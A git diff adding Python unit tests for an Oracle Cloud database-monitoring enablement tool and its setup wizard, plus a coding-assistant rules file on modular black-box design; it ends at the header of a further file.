self.insight_failures = insight_failures + # insight_sequence: explicit per-call return values to model the flaky + # OPSI list that flaps between full/partial/empty sets across calls. + self.insight_sequence = insight_sequence + self.insight_calls = 0 + + def list_management_agents(self, compartment_id): + return self.agents + + def list_opsi_database_insights(self, compartment_id): + self.insight_calls += 1 + if self.insight_calls <= self.insight_failures: + raise RuntimeError("NotAuthorizedOrNotFound") + if self.insight_sequence is not None: + idx = min(self.insight_calls - 1, len(self.insight_sequence) - 1) + return self.insight_sequence[idx] + return self.insights + + def get_autonomous_database(self, autonomous_database_id): + return {"database-management-status": "ENABLED", "operations-insights-status": "ENABLED"} + + def get_database(self, database_id): + return {"database-management-config": {"management-status": "ENABLED"}} + + def get_pluggable_database(self, pluggable_database_id): + return {"pluggable-database-management-config": {"management-status": "ENABLED"}} + + +class RegionFakeOci(FakeOci): + def __init__(self, region): + super().__init__([]) + self.region = region + self.database_reads = [] + + def get_database(self, database_id): + self.database_reads.append((self.region, database_id)) + return {"database-management-config": {"management-status": "ENABLED"}} + + +class FakeOciWithGet(FakeOci): + def __init__(self, *args, insight_details=None, **kwargs): + super().__init__(*args, **kwargs) + self.insight_details = insight_details or {} + self.get_calls = [] + + def get_opsi_database_insight(self, insight_id): + self.get_calls.append(insight_id) + return self.insight_details.get(insight_id, {}) + + +class FakeOciWithComplete(FakeOci): + """Exposes the completeness-aware list facade (a skipped lifecycle state).""" + + def __init__(self, *args, complete=True, **kwargs): + super().__init__(*args, **kwargs) + self.complete = complete + + def list_opsi_database_insights_complete(self, compartment_id): + return list(self.insights), self.complete + + +def test_validation_detects_registered_external_agent() -> None: + config = EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + compartment_id="compartment-id", + targets=(Target(kind="external-db", name="salesdb", compartment_id="compartment-id"),), + ) + service = ValidationService(FakeOci([{"display-name": "salesdb-agent"}])) # type: ignore[arg-type] + + assert service.validate(config) == ["salesdb: Management Agent registered"] + + +def test_validation_reports_missing_agent_and_resource_id() -> None: + config = EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + targets=( + Target(kind="external-db", name="external"), + Target(kind="dbcs", name="cloud"), + ), + ) + service = ValidationService(FakeOci([])) # type: ignore[arg-type] + + assert service.validate(config) == ["external: Management Agent not found yet", "cloud: missing resource OCID"] + + +def test_validation_reports_active_opsi_insight() -> None: + config = EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + compartment_id="compartment-id", + targets=( + Target(kind="autonomous", name="adb", resource_id="adb-id"), + Target(kind="dbcs", name="dbcs", resource_id="db-id", compartment_id="compartment-id"), + ), + ) + insights = [{"database-id": "db-id", "lifecycle-state": "ACTIVE", "status": "ENABLED"}] + service = ValidationService(FakeOci([], insights)) # type: ignore[arg-type] + + assert service.validate(config) == [ + "adb: Database Management ENABLED; Ops Insights ENABLED", + "dbcs (CDB): Database Management ENABLED; Ops Insights ACTIVE (ENABLED)", + ] + + +def test_validation_surfaces_failed_opsi_insight() -> None: + # A broken Ops Insights collection must be reported as FAILED, not hidden. + config = EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + compartment_id="compartment-id", + targets=(Target(kind="dbcs", name="dbcs", resource_id="db-id", compartment_id="compartment-id"),), + ) + insights = [{"database-id": "db-id", "lifecycle-state": "FAILED", "status": "ENABLED"}] + service = ValidationService(FakeOci([], insights)) # type: ignore[arg-type] + + assert service.validate(config) == [ + "dbcs (CDB): Database Management ENABLED; Ops Insights FAILED (ENABLED)", + ] + + +def test_validation_reports_not_found_when_other_insights_present() -> None: + # A populated list that lacks our database is authoritative: the endpoint is + # demonstrably healthy, so the insight is genuinely absent (NOT_FOUND). + config = EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + compartment_id="compartment-id", + targets=(Target(kind="dbcs", name="pdb1", resource_id="pdb-id", database_role="PDB", compartment_id="compartment-id"),), + ) + insights = [{"database-id": "some-other-db", "lifecycle-state": "ACTIVE", "status": "ENABLED"}] + service = ValidationService(FakeOci([], insights), sleeper=lambda _delay: None) # type: ignore[arg-type] + + assert service.validate(config) == [ + "pdb1 (PDB): Database Management ENABLED; Ops Insights NOT_FOUND (no Database Insight)", + ] + + +def test_validation_empty_insight_list_degrades_to_unknown_not_false_not_found() -> None: + # The flaky OPSI control plane returns exit-0 empty even when insights exist. + # An all-empty result is inconclusive and must NOT masquerade as NOT_FOUND. + config = EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + compartment_id="compartment-id", + targets=(Target(kind="dbcs", name="pdb1", resource_id="pdb-id", database_role="PDB", compartment_id="compartment-id"),), + ) + service = ValidationService(FakeOci([], []), sleeper=lambda _delay: None) # type: ignore[arg-type] + + assert service.validate(config) == [ + "pdb1 (PDB): Database Management ENABLED; Ops Insights UNKNOWN (insight query failed; verify in OCI Console)", + ] + + +def test_validation_uses_reliable_get_when_insight_ocid_known() -> None: + # When the insight OCID is in config, validate must read state with the + # reliable single-resource GET and never touch the flapping list. + config = EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + compartment_id="compartment-id", + targets=( + Target( + kind="dbcs", + name="dbcs", + resource_id="db-id", + compartment_id="compartment-id", + opsi_database_insight_id="ins-ocid", + ), + ), + ) + oci = FakeOciWithGet( + [], insights=[], insight_details={"ins-ocid": {"lifecycle-state": "ACTIVE", "status": "SUCCESS"}} + ) + service = ValidationService(oci) # type: ignore[arg-type] + + assert service.validate(config) == [ + "dbcs (CDB): Database Management ENABLED; Ops Insights ACTIVE (SUCCESS)", + ] + assert oci.get_calls == ["ins-ocid"] + assert oci.insight_calls == 0 # never hit the flaky list + + +def test_validation_positive_list_hit_reads_state_via_reliable_get() -> None: + # Discovered via the list, the OCID is then GET for the authoritative state: + # the list may report a stale ACTIVE while GET shows the true NEEDS_ATTENTION. + config = EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + compartment_id="compartment-id", + targets=(Target(kind="dbcs", name="dbcs", resource_id="db-id", compartment_id="compartment-id"),), + ) + oci = FakeOciWithGet( + [], + insights=[{"id": "ins-1", "database-id": "db-id", "lifecycle-state": "ACTIVE", "status": "ENABLED"}], + insight_details={"ins-1": {"lifecycle-state": "NEEDS_ATTENTION", "status": "SUCCESS"}}, + ) + service = ValidationService(oci) # type: ignore[arg-type] + + assert service.validate(config) == [ + "dbcs (CDB): Database Management ENABLED; Ops Insights NEEDS_ATTENTION (SUCCESS)", + ] + assert oci.get_calls == ["ins-1"] + + +def test_validation_varying_partial_lists_degrade_to_unknown_not_false_not_found() -> None: + # The cap OPSI list flaps between different non-empty sets call to call. Our + # database is absent from each *partial* response only because the endpoint + # is dropping entries — that must read UNKNOWN, never a false NOT_FOUND. + config = EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + compartment_id="compartment-id", + targets=(Target(kind="dbcs", name="dbcs", resource_id="db-id", compartment_id="compartment-id"),), + ) + sequence = [ + [{"database-id": "other-a", "lifecycle-state": "ACTIVE", "status": "ENABLED"}], + [], + [ + {"database-id": "other-a", "lifecycle-state": "ACTIVE", "status": "ENABLED"}, + {"database-id": "other-b", "lifecycle-state": "ACTIVE", "status": "ENABLED"}, + ], + ] + service = ValidationService( + FakeOci([], insight_sequence=sequence), sleeper=lambda _delay: None + ) # type: ignore[arg-type] + + assert service.validate(config) == [ + "dbcs (CDB): Database Management ENABLED; Ops Insights UNKNOWN (insight query failed; verify in OCI Console)", + ] + + +def test_validation_empty_attempt_within_window_blocks_not_found() -> None: + # Codex review: a window of [other], [], [other] must NOT yield NOT_FOUND — + # the empty read means the endpoint may have dropped our insight that round. + config = EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + compartment_id="compartment-id", + targets=(Target(kind="dbcs", name="dbcs", resource_id="db-id", compartment_id="compartment-id"),), + ) + sequence = [ + [{"database-id": "other-a", "lifecycle-state": "ACTIVE", "status": "ENABLED"}], + [], + [{"database-id": "other-a", "lifecycle-state": "ACTIVE", "status": "ENABLED"}], + ] + service = ValidationService( + FakeOci([], insight_sequence=sequence), sleeper=lambda _delay: None + ) # type: ignore[arg-type] + + assert service.validate(config) == [ + "dbcs (CDB): Database Management ENABLED; Ops Insights UNKNOWN (insight query failed; verify in OCI Console)", + ] + + +def test_validation_incomplete_union_never_concludes_not_found() -> None: + # Codex review: if a lifecycle-state call failed (incomplete union), the + # insight could live in the skipped state — a stable non-empty list that + # lacks our database must read UNKNOWN, not NOT_FOUND. + config = EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + compartment_id="compartment-id", + targets=(Target(kind="dbcs", name="dbcs", resource_id="db-id", compartment_id="compartment-id"),), + ) + insights = [{"database-id": "other-a", "lifecycle-state": "ACTIVE", "status": "ENABLED"}] + service = ValidationService( + FakeOciWithComplete([], insights=insights, complete=False), sleeper=lambda _delay: None + ) # type: ignore[arg-type] + + assert service.validate(config) == [ + "dbcs (CDB): Database Management ENABLED; Ops Insights UNKNOWN (insight query failed; verify in OCI Console)", + ] + + +def test_validation_complete_stable_list_concludes_not_found() -> None: + # Counterpart: a complete, stable, non-empty list reproducibly lacking our + # database is the one case where NOT_FOUND is authoritative. + config = EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + compartment_id="compartment-id", + targets=(Target(kind="dbcs", name="dbcs", resource_id="db-id", compartment_id="compartment-id"),), + ) + insights = [{"database-id": "other-a", "lifecycle-state": "ACTIVE", "status": "ENABLED"}] + service = ValidationService( + FakeOciWithComplete([], insights=insights, complete=True), sleeper=lambda _delay: None + ) # type: ignore[arg-type] + + assert service.validate(config) == [ + "dbcs (CDB): Database Management ENABLED; Ops Insights NOT_FOUND (no Database Insight)", + ] + + +def test_validation_positive_match_on_a_later_flaky_attempt_is_authoritative() -> None: + # Even if early reads drop our database, a single attempt that surfaces it is + # trusted (an id cannot appear unless the insight exists). + config = EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + compartment_id="compartment-id", + targets=(Target(kind="dbcs", name="dbcs", resource_id="db-id", compartment_id="compartment-id"),), + ) + sequence = [ + [], + [{"database-id": "other-a", "lifecycle-state": "ACTIVE", "status": "ENABLED"}], + [{"database-id": "db-id", "lifecycle-state": "ACTIVE", "status": "ENABLED"}], + ] + service = ValidationService( + FakeOci([], insight_sequence=sequence), sleeper=lambda _delay: None + ) # type: ignore[arg-type] + + assert service.validate(config) == [ + "dbcs (CDB): Database Management ENABLED; Ops Insights ACTIVE (ENABLED)", + ] + + +def test_validation_retries_then_reads_insight_after_transient_404() -> None: + config = EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + compartment_id="compartment-id", + targets=(Target(kind="dbcs", name="dbcs", resource_id="db-id", compartment_id="compartment-id"),), + ) + insights = [{"database-id": "db-id", "lifecycle-state": "ACTIVE", "status": "ENABLED"}] + service = ValidationService(FakeOci([], insights, insight_failures=1), sleeper=lambda _delay: None) # type: ignore[arg-type] + + assert service.validate(config) == [ + "dbcs (CDB): Database Management ENABLED; Ops Insights ACTIVE (ENABLED)", + ] + + +def test_validation_degrades_to_unknown_when_insight_query_keeps_failing() -> None: + config = EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + compartment_id="compartment-id", + targets=(Target(kind="dbcs", name="dbcs", resource_id="db-id", compartment_id="compartment-id"),), + ) + service = ValidationService(FakeOci([], insight_failures=5), sleeper=lambda _delay: None) # type: ignore[arg-type] + + assert service.validate(config) == [ + "dbcs (CDB): Database Management ENABLED; Ops Insights UNKNOWN (insight query failed; verify in OCI Console)", + ] + + +def test_validation_reads_pdb_nested_status() -> None: + config = EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + compartment_id="compartment-id", + targets=(Target(kind="dbcs", name="pdb1", resource_id="pdb-id", database_role="PDB", compartment_id="compartment-id"),), + ) + insights = [{"database-id": "pdb-id", "lifecycle-state": "ACTIVE", "status": "ENABLED"}] + service = ValidationService(FakeOci([], insights)) # type: ignore[arg-type] + + assert service.validate(config) == [ + "pdb1 (PDB): Database Management ENABLED; Ops Insights ACTIVE (ENABLED)", + ] + + +def test_validation_routes_target_reads_to_target_region() -> None: + config = EnablementConfig( + profile="cap", + region="eu-frankfurt-1", + compartment_id="compartment-id", + targets=( + Target( + kind="dbcs", + name="chicago-cdb", + region="us-chicago-1", + resource_id="db-id", + service_name="cdb.example", + compartment_id="compartment-id", + ), + ), + ) + clients = { + "eu-frankfurt-1": RegionFakeOci("eu-frankfurt-1"), + "us-chicago-1": RegionFakeOci("us-chicago-1"), + } + clients["us-chicago-1"].insights = [{"database-id": "db-id", "lifecycle-state": "ACTIVE", "status": "ENABLED"}] + service = ValidationService( + clients["eu-frankfurt-1"], # type: ignore[arg-type] + oci_for_region=lambda region: clients[region], # type: ignore[arg-type] + ) + + assert service.validate(config) == [ + "chicago-cdb [us-chicago-1] (CDB): Database Management ENABLED; Ops Insights ACTIVE (ENABLED)", + ] + assert clients["eu-frankfurt-1"].database_reads == [] + assert clients["us-chicago-1"].database_reads == [("us-chicago-1", "db-id")] diff --git a/observability-and-management/assets/oci-dbman-opsi/tests/test_wizard.py b/observability-and-management/assets/oci-dbman-opsi/tests/test_wizard.py new file mode 100644 index 000000000..62fd707e2 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/tests/test_wizard.py @@ -0,0 +1,420 @@ +import builtins + +from dbman_opsi.wizard import _plan_identity, _safe_discover, _select, run_wizard + + +class FakeOci: + def list_compartments(self, tenancy_id): + return [ + {"id": "deleted-compartment-id", "name": "Old", "lifecycle-state": "DELETED"}, + {"id": "compartment-id", "name": "PoC", "lifecycle-state": "ACTIVE"}, + ] + + def list_vcns(self, compartment_id): + return [{"id": "vcn-id", "display-name": "vcn"}] + + def list_subnets(self, compartment_id, vcn_id): + return [{"id": "subnet-id", "display-name": "private"}] + + def list_autonomous_databases(self, compartment_id): + return [{"id": "adb-id", "display-name": "adb"}] + + def list_vaults(self, compartment_id): + return [{"id": "vault-id", "display-name": "vault", "management-endpoint": "https://vault"}] + + def list_keys(self, compartment_id, management_endpoint): + return [{"id": "key-id", "display-name": "key"}] + + def list_secrets(self, compartment_id): + return [{"id": "secret-id", "secret-name": "dbsnmp"}] + + def list_db_management_private_endpoints(self, compartment_id): + return [{"id": "dbm-pe-id", "name": "dbm-pe"}] + + def list_opsi_private_endpoints(self, compartment_id): + return [{"id": "opsi-pe-id", "display-name": "opsi-pe"}] + + def list_data_safe_private_endpoints(self, compartment_id): + return [{"id": "datasafe-pe-id", "display-name": "datasafe-pe"}] + + def list_policies(self, compartment_id): + return [ + { + "statements": [ + "Allow group db-admins to manage database-family in tenancy", + "Allow service dpd to read secret-family in tenancy", + "Allow service operations-insights to read secret-family in tenancy", + ] + } + ] + + +def test_plan_identity_uses_profile_tenancy_and_policy_group(monkeypatch) -> None: + answers = iter(["1"]) + monkeypatch.setattr(builtins, "input", lambda prompt: next(answers)) + + tenancy_id, compartment_id, search_compartments, policy_group = _plan_identity(ProfileTenancyOci()) # type: ignore[arg-type] + + assert tenancy_id == "profile-tenancy-id" + assert compartment_id == "compartment-id" + assert [compartment["id"] for compartment in search_compartments] == ["compartment-id"] + assert policy_group == "db-admins" + + +def test_wizard_discovers_and_selects_resources(monkeypatch) -> None: + answers = iter( + [ + "tenancy-id", + "1", + "no", + "1", + "1", + "yes", + "", + "autonomous", + "no", + "1", + "", + "", + "", + "", # pillars (defaults to dbm,opsi) + "no", + ] + ) + monkeypatch.setattr(builtins, "input", lambda prompt: next(answers)) + + config = run_wizard("DEFAULT", "eu-frankfurt-1", FakeOci()) # type: ignore[arg-type] + + assert config.compartment_id == "compartment-id" + assert config.network.vcn_id == "vcn-id" + assert config.network.subnet_id == "subnet-id" + assert config.vault.create_vault is True + assert config.targets[0].resource_id == "adb-id" + assert config.targets[0].services == ("dbm", "opsi") + + +class DbcsOci(FakeOci): + def list_db_systems(self, compartment_id): + return [{"id": "dbsys-1", "display-name": "dbmopsi"}] + + def list_databases(self, compartment_id, db_system_id): + return [ + { + "id": "database-1", + "db-name": "DBMOPSI", + "lifecycle-state": "AVAILABLE", + "connection-strings": {"cdb-default": "host/DBMOPSI_fra.example.com"}, + } + ] + + def list_pluggable_databases(self, compartment_id): + return [] + + +class DbcsWithPdbOci(FakeOci): + def list_db_systems(self, compartment_id): + return [{"id": "dbsys-1", "display-name": "db-system"}] + + def list_databases(self, compartment_id, db_system_id): + return [ + { + "id": "cdb-1", + "display-name": "DB0424", + "db-name": "test", + "lifecycle-state": "AVAILABLE", + "connection-strings": {"cdb-default": "host/DB0424.example.com"}, + } + ] + + def list_pluggable_databases(self, compartment_id): + return [ + {"id": "pdb-1", "pdb-name": "PDB1", "lifecycle-state": "AVAILABLE", "container-database-id": "cdb-1"}, + {"id": "pdb-2", "pdb-name": "OTHER", "lifecycle-state": "AVAILABLE", "container-database-id": "other-cdb"}, + ] + + +def test_wizard_defaults_dbcs_target_name_to_display_name_and_filters_pdbs(monkeypatch) -> None: + answers = iter( + [ + "tenancy-id", + "1", # compartment + "no", # create network? no + "1", # vcn + "1", # subnet + "yes", # create vault + "", # add target + "dbcs", # kind + "no", # provision + "1", # select database + "", # target name default should be DB0424 + "", # service name default + "", # monitoring user + "1", # password secret + "1", # dbm pe + "1", # opsi pe + "", # pillars + "yes", # discover PDBs + "", # add PDB1 default yes + "no", # add another target + ] + ) + monkeypatch.setattr(builtins, "input", lambda prompt: next(answers)) + + config = run_wizard("cap", "eu-frankfurt-1", DbcsWithPdbOci()) # type: ignore[arg-type] + + assert config.targets[0].name == "DB0424" + assert config.targets[1].name == "DB0424-PDB1" + assert len(config.targets) == 2 + + +def test_wizard_captures_data_safe_selection_for_dbcs(monkeypatch) -> None: + answers = iter( + [ + "tenancy-id", + "1", # compartment + "no", # create network? no + "1", # vcn + "1", # subnet + "no", # create vault? no + "1", # vault + "1", # key + "", # add a target? (default yes) + "dbcs", # kind + "no", # provision? no + "1", # select database + "", # target name default + "", # service name default + "", # monitoring user + "1", # password secret + "1", # dbm private endpoint + "1", # opsi private endpoint + "dbm,opsi,datasafe", # pillars + "1", # data safe private endpoint + "no", # discover PDBs? no + "no", # add another target? no + ] + ) + monkeypatch.setattr(builtins, "input", lambda prompt: next(answers)) + + config = run_wizard("cap", "eu-frankfurt-1", DbcsOci()) # type: ignore[arg-type] + + target = config.targets[0] + assert target.name == "DBMOPSI" + assert target.resource_id == "database-1" + assert target.service_name == "DBMOPSI_fra.example.com" + assert target.password_secret_id == "secret-id" + assert target.private_endpoint_id == "dbm-pe-id" + assert target.opsi_private_endpoint_id == "opsi-pe-id" + assert target.services == ("dbm", "opsi", "datasafe") + assert target.wants("datasafe") is True + # db_system_id captured from the selected DB system (needed for DS registration). + assert target.db_system_id == "dbsys-1" + assert target.data_safe_private_endpoint_id == "datasafe-pe-id" + + +def test_wizard_falls_back_when_discovery_fails(monkeypatch) -> None: + class BrokenOci: + def list_compartments(self, tenancy_id): + raise RuntimeError("not configured") + + answers = iter( + [ + "tenancy-id", + "compartment-id", + "yes", + "no", + "vault-id", + "key-id", + "no", + ] + ) + monkeypatch.setattr(builtins, "input", lambda prompt: next(answers)) + + config = run_wizard("DEFAULT", "eu-frankfurt-1", BrokenOci()) # type: ignore[arg-type] + + assert config.compartment_id == "compartment-id" + assert config.network.create_test_network is True + assert config.targets == () + + +def test_select_accepts_accidentally_escaped_number(monkeypatch) -> None: + monkeypatch.setattr(builtins, "input", lambda prompt: "\\2") + + selected = _select( + "Pick one:", + [ + {"id": "first", "display-name": "first"}, + {"id": "second", "display-name": "second"}, + ], + ) + + assert selected == {"id": "second", "display-name": "second"} + + +def test_safe_discover_retries_once_before_fallback(capsys) -> None: + calls = 0 + + def flaky() -> list[dict[str, object]]: + nonlocal calls + calls += 1 + if calls == 1: + raise RuntimeError("temporary") + return [{"id": "ok"}] + + assert _safe_discover("targets", flaky) == [{"id": "ok"}] + assert calls == 2 + assert capsys.readouterr().out == "" + + +def test_safe_discover_prints_after_retries_exhausted(capsys) -> None: + calls = 0 + + def broken() -> list[dict[str, object]]: + nonlocal calls + calls += 1 + raise RuntimeError("still down") + + assert _safe_discover("targets", broken) == [] + assert calls == 2 + assert "Could not discover targets: still down" in capsys.readouterr().out + + +class SplitCompartmentOci(FakeOci): + def list_compartments(self, tenancy_id): + return [ + {"id": "target-compartment", "name": "demo-observability", "lifecycle-state": "ACTIVE"}, + {"id": "security-compartment", "name": "demo-security", "lifecycle-state": "ACTIVE"}, + ] + + def list_vaults(self, compartment_id): + if compartment_id == "security-compartment": + return [{"id": "vault-id", "display-name": "shared-vault", "management-endpoint": "https://vault"}] + return [] + + def list_keys(self, compartment_id, management_endpoint): + assert compartment_id == "security-compartment" + return [{"id": "key-id", "display-name": "shared-key"}] + + +def test_wizard_finds_vaults_in_sibling_compartments(monkeypatch) -> None: + answers = iter( + [ + "tenancy-id", + "1", # select target compartment with no vault + "yes", # create network + "no", # do not create vault + "1", # select vault discovered in sibling compartment + "1", # select key from the vault's compartment + "no", # no targets + ] + ) + monkeypatch.setattr(builtins, "input", lambda prompt: next(answers)) + + config = run_wizard("cap", "eu-frankfurt-1", SplitCompartmentOci()) # type: ignore[arg-type] + + assert config.compartment_id == "target-compartment" + assert config.vault.vault_id == "vault-id" + assert config.vault.key_id == "key-id" + + +class ProfileTenancyOci(FakeOci): + def profile_tenancy(self): + return "profile-tenancy-id" + + +def test_wizard_defaults_tenancy_from_profile_and_policy_group(monkeypatch) -> None: + answers = iter( + [ + "1", # compartment + "", # existing VCNs discovered, default is no/create_network false + "1", # vcn + "1", # subnet + "yes", # create vault + "no", # no targets + ] + ) + prompts: list[str] = [] + + def answer(prompt): + prompts.append(prompt) + return next(answers) + + monkeypatch.setattr(builtins, "input", answer) + + config = run_wizard("cap", "eu-frankfurt-1", ProfileTenancyOci()) # type: ignore[arg-type] + + assert config.tenancy_id == "profile-tenancy-id" + assert config.network.create_test_network is False + assert config.network.vcn_id == "vcn-id" + assert config.policy_group_name == "db-admins" + assert all("Tenancy OCID" not in prompt for prompt in prompts) + + +class IdentityDomainPolicyOci(ProfileTenancyOci): + def list_policies(self, compartment_id): + return [ + { + "statements": [ + "Allow group 'Default'/'All Domain Users' to read all-resources in tenancy", + "Allow service dpd to read secret-family in tenancy", + "Allow service operations-insights to read secret-family in tenancy", + ] + } + ] + + +def test_wizard_ignores_identity_domain_groups_for_policy_group_default(monkeypatch, capsys) -> None: + answers = iter( + [ + "1", # compartment + "", # reuse existing vcn + "1", # vcn + "1", # subnet + "yes", # create vault + "no", # no targets + ] + ) + monkeypatch.setattr(builtins, "input", lambda prompt: next(answers)) + + config = run_wizard("cap", "eu-frankfurt-1", IdentityDomainPolicyOci()) # type: ignore[arg-type] + + assert config.policy_group_name == "dbman-opsi-admins" + assert "IAM policy groups discovered" not in capsys.readouterr().out + + +class GroupIdPolicyOci(ProfileTenancyOci): + def list_policies(self, compartment_id): + return [ + { + "statements": [ + "Allow group id ocid1.group.oc1..aaaaexample to manage database-family in tenancy", + "Allow service dpd to read secret-family in tenancy", + "Allow service operations-insights to read secret-family in tenancy", + ] + } + ] + + def get_group(self, group_id): + assert group_id == "ocid1.group.oc1..aaaaexample" + return {"name": "oci-demo-service-group"} + + +def test_wizard_resolves_policy_group_ocids(monkeypatch, capsys) -> None: + answers = iter( + [ + "1", # compartment + "", # reuse existing vcn + "1", # vcn + "1", # subnet + "yes", # create vault + "no", # no targets + ] + ) + monkeypatch.setattr(builtins, "input", lambda prompt: next(answers)) + + config = run_wizard("cap", "eu-frankfurt-1", GroupIdPolicyOci()) # type: ignore[arg-type] + + assert config.policy_group_name == "oci-demo-service-group" + out = capsys.readouterr().out + assert "oci-demo-service-group" in out + assert "ocid1.group" not in out diff --git a/observability-and-management/assets/oci-log-analytics-detections/.agents/rules/globalrule.md b/observability-and-management/assets/oci-log-analytics-detections/.agents/rules/globalrule.md new file mode 100644 index 000000000..5953ab736 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/.agents/rules/globalrule.md @@ -0,0 +1,241 @@ +--- +trigger: always_on +--- + +# Modular Architecture Development Assistant + +You are a senior development engineer specializing in building and testing modular, maintainable code using black box architecture principles. Your approach is based on Eskil Steenberg's methodology for creating systems that remain fast to develop regardless of scale. + +## Development Philosophy + +**"It's faster to write five lines of code today than to write one line today and then have to edit it in the future."** + +You focus on: + +- **Writing code that never needs to be edited** - get it right the first time +- **Modular boundaries** - clear separation between components +- **Testable interfaces** - every module can be tested in isolation +- **Debugging ease** - problems are easy to locate and fix +- **Replacement readiness** - any module can be rewritten without breaking others + +## Code Development Approach + +### 1. Black Box Implementation + +When writing code: + +- **Hide implementation details** - expose only necessary interfaces +- **Design APIs first** - define what the module does before how it does it +- **Use clear naming** - function/class names should explain purpose, not implementation +- **Document interfaces** - make usage obvious to other developers +- **Avoid leaky abstractions** - don't expose internal complexity + +### 2. Modular Structure + +Structure code for maintainability: + +- **Single responsibility** - each module/class/function has one clear job +- **Minimal interfaces** - expose as few functions/methods as possible +- **No cross-dependencies** - modules communicate through defined interfaces only +- **Wrapper layers** - wrap external dependencies instead of using them directly +- **Configuration isolation** - module behavior controlled through parameters, not globals + +### 3. Testing Strategy + +Test at the right boundaries: + +- **Interface testing** - test the public API, not internal implementation +- **Black box validation** - can you test without knowing how it works internally? +- **Replacement tests** - would tests still pass if you rewrote the implementation? +- **Integration points** - test how modules communicate with each other +- **Error boundaries** - test how modules handle and propagate failures + +## Debugging Methodology + +### Problem Isolation + +When debugging issues: + +1. **Identify the module boundary** - which black box contains the problem? +2. **Test the interface** - is the module receiving correct inputs? +3. **Verify outputs** - is the module producing expected results? +4. **Check assumptions** - are interface contracts being followed? +5. **Isolate dependencies** - is the problem in this module or its dependencies? + +### Debugging Tools + +Build debugging capabilities into your architecture: + +- **Logging at boundaries** - log inputs/outputs of each module +- **State inspection** - ability to examine module internal state +- **Mock interfaces** - ability to replace modules with test doubles +- **Replay capability** - ability to reproduce issues with saved inputs +- **Validation modes** - extra checks that can be enabled during development + +## Testing Implementation Patterns + +### Unit Testing Black Boxes + +```typescript +// Test the interface, not the implementation +describe("UserAuthenticator", () => { + it("should return success for valid credentials", () => { + const auth = new UserAuthenticator(); + const result = auth.authenticate("valid@email.com", "correct-password"); + expect(result.success).toBe(true); + expect(result.user).toBeDefined(); + }); + + it("should return failure for invalid credentials", () => { + const auth = new UserAuthenticator(); + const result = auth.authenticate("invalid@email.com", "wrong-password"); + expect(result.success).toBe(false); + expect(result.error).toBeDefined(); + }); +}); +``` + +### Integration Testing Module Boundaries + +```typescript +// Test how modules work together +describe("User Registration Flow", () => { + it("should handle complete registration process", () => { + const validator = new EmailValidator(); + const hasher = new PasswordHasher(); + const database = new UserDatabase(); + const registrar = new UserRegistrar(validator, hasher, database); + + const result = registrar.register("new@email.com", "secure-password"); + expect(result.success).toBe(true); + }); +}); +``` + +### Replacement Testing + +```typescript +// Ensure modules can be swapped out +describe("Database Interface Compatibility", () => { + const testCases = [ + new SqliteUserDatabase(), + new PostgresUserDatabase(), + new MockUserDatabase(), + ]; + + testCases.forEach((database) => { + it(`should work with ${database.constructor.name}`, () => { + const service = new UserService(database); + const user = service.createUser("test@email.com"); + expect(user.id).toBeDefined(); + }); + }); +}); +``` + +## Development Patterns + +### Wrapper Pattern for External Dependencies + +```typescript +// Don't use external libraries directly +interface FileStorage { + save(filename: string, data: Buffer): Promise; + load(filename: string): Promise; + delete(filename: string): Promise; +} + +class LocalFileStorage implements FileStorage { + // Wraps fs operations +} + +class S3FileStorage implements FileStorage { + // Wraps AWS SDK +} +``` + +### Plugin Architecture Pattern + +```typescript +interface Plugin { + readonly name: string; + readonly version: string; + initialize(config: PluginConfig): void; + process(input: any): any; + cleanup(): void; +} + +class PluginManager { + private plugins: Map = new Map(); + + register(plugin: Plugin): void { + this.plugins.set(plugin.name, plugin); + } + + execute(pluginName: string, input: any): any { + const plugin = this.plugins.get(pluginName); + return plugin?.process(input); + } +} +``` + +## Code Quality Checks + +Always verify: + +- **Interface clarity** - can someone use this without reading the implementation? +- **Error handling** - does the module handle failures gracefully? +- **Resource management** - are resources properly allocated and cleaned up? +- **Thread safety** - can this be used safely in concurrent environments? +- **Memory efficiency** - does this avoid unnecessary allocations or leaks? + +## Refactoring Guidelines + +When improving existing code: + +1. **Identify boundaries** - where should black box interfaces be? +2. **Extract interfaces** - define clean APIs for each module +3. **Move implementation** - hide complexity behind interfaces +4. **Add tests** - ensure interfaces work as expected +5. **Validate replaceability** - can you swap out implementations? + +## Development Workflow + +### For New Features + +1. **Design the interface first** - what should this module expose? +2. **Write tests for the interface** - define expected behavior +3. **Implement behind the interface** - hide complexity +4. **Test integration points** - how does this connect to other modules? +5. **Document the API** - make usage clear for other developers + +### For Bug Fixes + +1. **Locate the module boundary** - which black box has the issue? +2. **Write a failing test** - reproduce the problem at the interface level +3. **Fix the implementation** - solve the problem without changing the interface +4. **Verify the fix** - ensure tests pass and no new issues introduced +5. **Check impact** - does this change affect other modules? + +## Red Flags in Code + +Watch out for: + +- **Tight coupling** - modules that know too much about each other's internals +- **Leaky abstractions** - interfaces that expose implementation details +- **Monolithic functions** - single functions doing multiple unrelated things +- **Global state** - shared mutable state between modules +- **Hard-coded dependencies** - direct references to specific implementations + +## Your Role + +As a development assistant: + +- **Suggest modular boundaries** when code becomes complex +- **Recommend interface designs** that hide implementation details +- **Identify testing gaps** where modules aren't properly validated +- **Spot coupling issues** where modules are too interconnected +- **Propose refactoring strategies** to improve maintainability + -\*\*Don't use emoticons in the code + +Focus on creating code that will be easy to understand, test, debug, and replace years from now. Every line of code should contribute to a system that maintains developer velocity as it grows. diff --git a/observability-and-management/assets/oci-log-analytics-detections/.claude/agents/docs-researcher.md 